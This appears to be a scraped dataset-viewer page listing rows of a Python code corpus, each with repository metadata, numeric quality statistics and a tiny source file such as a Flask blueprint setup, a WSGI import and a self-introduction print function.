:param df... | 62.106164 | 126 | 0.584064 | 2,023 | 18,135 | 5.024716 | 0.073653 | 0.100935 | 0.161141 | 0.094442 | 0.829808 | 0.820758 | 0.819183 | 0.815052 | 0.792425 | 0.789769 | 0 | 0.001765 | 0.312655 | 18,135 | 291 | 127 | 62.319588 | 0.813718 | 0.110174 | 0 | 0.675926 | 0 | 0 | 0.107958 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00463 | false | 0 | 0.013889 | 0 | 0.018519 | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
52262f866b60d480e5f9f7028ca59ba83273c0c8 | 98 | py | Python | background/Estore/User/__init__.py | skypeee/Flask-Estore | 5f9f4a4508680cec44dc4beee308859ee274e23e | [
"MIT"
] | null | null | null | background/Estore/User/__init__.py | skypeee/Flask-Estore | 5f9f4a4508680cec44dc4beee308859ee274e23e | [
"MIT"
] | null | null | null | background/Estore/User/__init__.py | skypeee/Flask-Estore | 5f9f4a4508680cec44dc4beee308859ee274e23e | [
"MIT"
] | null | null | null | from flask.blueprints import Blueprint
user = Blueprint('User', __name__)
from User import views | 19.6 | 38 | 0.795918 | 13 | 98 | 5.692308 | 0.615385 | 0.351351 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132653 | 98 | 5 | 39 | 19.6 | 0.870588 | 0 | 0 | 0 | 0 | 0 | 0.040404 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
5239f1e42289a7b45427f7febbcde08de4725ea6 | 109 | py | Python | main.py | Adi-K-Coding/Tri3-Adi | 62a8b207fa9dbcdf7e2782de03681f87a90ad7f6 | [
"MIT"
] | null | null | null | main.py | Adi-K-Coding/Tri3-Adi | 62a8b207fa9dbcdf7e2782de03681f87a90ad7f6 | [
"MIT"
] | 4 | 2022-03-14T19:38:35.000Z | 2022-03-28T19:40:27.000Z | main.py | Adi-K-Coding/Tri3-Adi | 62a8b207fa9dbcdf7e2782de03681f87a90ad7f6 | [
"MIT"
] | null | null | null | def my_info():
print("My name is Adi, and I'm a tenth grader at Del Norte High school. ")
print(" ")
| 27.25 | 78 | 0.623853 | 20 | 109 | 3.35 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.247706 | 109 | 3 | 79 | 36.333333 | 0.817073 | 0 | 0 | 0 | 0 | 0 | 0.605505 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0 | 0 | 0.333333 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
5258db459149450d7766f5ab39dcd24846ee4c18 | 33 | py | Python | monoweb/wsgi.py | ragnraok/MonoReader | 4672f5f0ca48f69e9180b33b62e773ab323c2cbc | [
"MIT"
] | 1 | 2019-06-12T01:46:22.000Z | 2019-06-12T01:46:22.000Z | monoweb/wsgi.py | ragnraok/MonoReader | 4672f5f0ca48f69e9180b33b62e773ab323c2cbc | [
"MIT"
] | null | null | null | monoweb/wsgi.py | ragnraok/MonoReader | 4672f5f0ca48f69e9180b33b62e773ab323c2cbc | [
"MIT"
] | null | null | null | from mono import mono_app as app
| 16.5 | 32 | 0.818182 | 7 | 33 | 3.714286 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 33 | 1 | 33 | 33 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
52723b66d10a621c38550992a15ade5aba60b121 | 32 | py | Python | rls/nn/modules/__init__.py | StepNeverStop/RLs | 25cc97c96cbb19fe859c9387b7547cbada2c89f2 | [
"Apache-2.0"
] | 371 | 2019-04-26T00:37:33.000Z | 2022-03-31T07:33:12.000Z | rls/nn/modules/__init__.py | BlueFisher/RLs | 25cc97c96cbb19fe859c9387b7547cbada2c89f2 | [
"Apache-2.0"
] | 47 | 2019-07-21T11:51:57.000Z | 2021-08-31T08:45:22.000Z | rls/nn/modules/__init__.py | BlueFisher/RLs | 25cc97c96cbb19fe859c9387b7547cbada2c89f2 | [
"Apache-2.0"
] | 102 | 2019-06-29T13:11:15.000Z | 2022-03-28T13:51:04.000Z | from .icm import CuriosityModel
| 16 | 31 | 0.84375 | 4 | 32 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 32 | 1 | 32 | 32 | 0.964286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
bfeb208f8644390bc0ef38b6f6057a55d1e11fe4 | 150 | py | Python | pages/index.py | gabssanto/pizzaPy | e1fb6a1b7f4c25208a9500907913484746c22c38 | [
"MIT"
] | null | null | null | pages/index.py | gabssanto/pizzaPy | e1fb6a1b7f4c25208a9500907913484746c22c38 | [
"MIT"
] | null | null | null | pages/index.py | gabssanto/pizzaPy | e1fb6a1b7f4c25208a9500907913484746c22c38 | [
"MIT"
] | null | null | null |
from core.components.div import Div
def indexPage():
return Div(className="container", children=[
'hello', Div(children=['world'])]) | 25 | 48 | 0.653333 | 17 | 150 | 5.764706 | 0.764706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186667 | 150 | 6 | 49 | 25 | 0.803279 | 0 | 0 | 0 | 0 | 0 | 0.126667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.